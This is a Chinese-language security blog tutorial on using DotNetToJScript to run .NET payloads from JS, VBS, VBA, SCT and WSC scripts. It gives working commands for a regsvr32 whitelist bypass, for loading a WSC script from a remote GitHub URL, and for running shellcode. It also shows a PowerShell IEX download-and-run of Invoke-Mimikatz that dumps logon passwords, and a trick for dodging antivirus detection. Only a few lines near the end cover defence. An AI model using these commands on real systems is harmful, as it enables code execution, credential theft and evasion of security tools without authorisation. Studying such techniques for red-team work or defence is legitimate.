標籤:

工具解析篇:高效利用JS載入.Net程序

0x00 前言

最近James Forshaw開源了一個工具DotNetToJScript,能夠利用JS/Vbs腳本載入.Net程序,很有趣。

Casey Smith和Cn33liz都對此做了進一步研究,開源了他們的利用代碼。

本文將要對該技術作系統整理,幫助大家更好的認識。

0x01 簡介

本文將要介紹以下內容:

1. DotNetToJScript編譯方法

2. DotNetToJScript使用方法

3. 利用JS/Vbs執行shellcode

4. 利用JS/Vbs執行powershell腳本

0x02 DotNetToJScript編譯方法

DotNetToJScript下載地址:

tyranid/DotNetToJScript

使用工具VS2012進行編譯

報錯1:

缺少程序集引用NDesk.Options

解決方法:

需要添加引用NDesk.Options

下載地址:

Options - NDesk

解壓縮,工程-添加引用-瀏覽-ndesk-options-0.2.1.binndesk-options-0.2.1.binlibndesk-optionsNDesk.Options.dll

接下來,將目標框架指定為.NET Frameword 2.0,重新編譯

報錯2:

缺少程序集引用Linq

解決方法:

添加對System.Core.dll 3.5的引用

位置:

C:Program FilesReference AssembliesMicrosoftFrameworkv3.5System.Core.dlln

添加引用後編譯成功,分別在兩個目錄生成DotNetToJScript.exe和ExampleAssembly.dll

0x03 DotNetToJScript使用方法

1、生成js腳本

參數如下:

DotNetToJScript.exe -o 1.js ExampleAssembly.dlln

執行後,生成1.js

執行1.js,調用ExampleAssembly.dll中的public TestClass()

如下圖

執行過程如下圖,彈出對話框

2、生成vbs腳本

參數如下:

DotNetToJScript.exe -l vbscript -o 2.vbs ExampleAssembly.dlln

執行如下圖

3、生成vba腳本

參數如下:

DotNetToJScript.exe -l vba -o 2.txt ExampleAssembly.dlln

用來放在office宏中

4、生成sct腳本

參數如下:

DotNetToJScript.exe -u -o 3.sct ExampleAssembly.dlln

啟動方式:

命令行參數如下:

regsvr32.exe /u /n /s /i:3.sct scrobj.dlln

註:

細節可參考之前的文章《Use SCT to Bypass Application Whitelisting Protection》

5、生成wsc腳本

參數如下:

DotNetToJScript.exe -m -o 4.wsc ExampleAssembly.dlln

啟動方式1:本地調用

通過js調用,js腳本內容如下:

GetObject("script:C:test4.wsc");n

註:

需要絕對路徑,wsc文件後綴名任意

啟動方式2:遠程啟動

將4.wsc保存在github,地址如下:

raw.githubusercontent.com

js腳本內容如下:

GetObject("script:https://raw.githubusercontent.com/3gstudent/test/master/4.wsc")n

註:

細節可參考之前的文章《WSC、JSRAT and WMI Backdoor》

0x04 利用JS/Vbs能夠實現的payload匯總

對以上測試中的ExampleAssembly.dll,可替換成其他payload:

1、執行shellcode

代碼可參考如下地址:

gist.github.com/subTee/

新建c#工程,可選擇c#控制台應用程序,編譯成exe

生成js腳本的參數如下:

DotNetToJScript.exe -o shellcode.js shellcode.exen

測試如下圖

2、執行mimikatz

代碼可參考如下地址:

gist.github.com/subTee/

在c#中執行mimikatz的代碼可參考如下地址:

gist.github.com/subTee/

3、執行powershell

代碼可參考如下地址:

github.com/Cn33liz/Star

作者:Cn33liz

StarFighters:

1. 能夠載入Empire框架的啟動代碼

2. 支持JavaScript和VBScript

3. 不需要powershell.exe,可用於繞過白名單攔截

4. 通過powershell runspace environment (.NET)執行powershell代碼

執行powershell代碼的方式可參考工程p0wnedShell,地址如下:

github.com/Cn33liz/p0wn

我之前對此做過研究,對其精簡代碼,使其支持.net 2.0,地址如下:

github.com/3gstudent/Sm

實際測試:

StarFighters不僅能夠載入Empire框架的啟動代碼,也可用來直接執行powershell命令

方式如下:

(1)執行powershell單條命令

需要對命令作base64編碼,命令如下:

$code = start calc.exen$bytes = [System.Text.Encoding]::UNICODE.GetBytes($code);n$encoded = [System.Convert]::ToBase64String($bytes)n$encodedn

得到base64代碼如下:

cwB0AGEAcgB0ACAAYwBhAGwAYwAuAGUAeABlAA==n

替換StarFighter.js中的var EncodedPayload

成功執行,彈出計算器如下圖

(2)本地執行powershell腳本

使用Invoke-Mimikatz.ps1,下載地址如下:

raw.githubusercontent.com

添加導口令的操作代碼:

Invoke-Mimikatz -Command "log privilege::debug sekurlsa::logonpasswords"n

註:

添加log參數是為了將結果導出到文件mimikatz.log

命令如下:

$code = Get-Content -Path Invoke-Mimikatz.ps1n$bytes = [System.Text.Encoding]::UNICODE.GetBytes($code);n$encoded = [System.Convert]::ToBase64String($bytes)n$encoded | Out-File 1.txtn

將生成的1.txt中的內容替換StarFighter.js中的var EncodedPayload

(3)遠程執行powershell腳本

powershell命令如下:

powershell IEX "(New-Object Net.WebClient).DownloadString(https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1); Invoke-Mimikatz -Command log privilege::debug sekurlsa::logonpasswords"n

作base64的代碼如下:

$code = Get-Content -Path code.txtn$bytes = [System.Text.Encoding]::UNICODE.GetBytes($code);n$encoded = [System.Convert]::ToBase64String($bytes)n$encoded | Out-File 2.txtn

將生成的2.txt中的內容替換StarFighter.js中的var EncodedPayload

註:

某殺毒軟體默認會查殺該js腳本,一個繞過靜態查殺的思路(不保證有效期):

1. 將腳本保存成ASCII格式,會被查殺

2. 換成UNICODE格式,不被查殺

0x05 防禦

站在防禦的角度,大家都會對powerShell.exe作攔截,但是這還遠遠不夠:

powershell runspace environment (.NET)才是重點

具體到本文的技巧,防禦方法如下:

分別對js、vbs、vba宏、sct、wsc腳本作限制

本文為 3gstudent 原創稿件,授權嘶吼獨家發布,未經許可禁止轉載,如若轉載,請聯繫嘶吼編輯: 工具解析篇:高效利用JS載入.Net程序 更多內容請關注「嘶吼專業版」——Pro4hou

推薦閱讀:

APT攻擊中會使用合法程序嗎?
外媒解密 | 間諜軟體是如何工作的?
黎巴嫩國家APT組織「黑山貓Dark Caracal」浮出水面

TAG:信息安全 |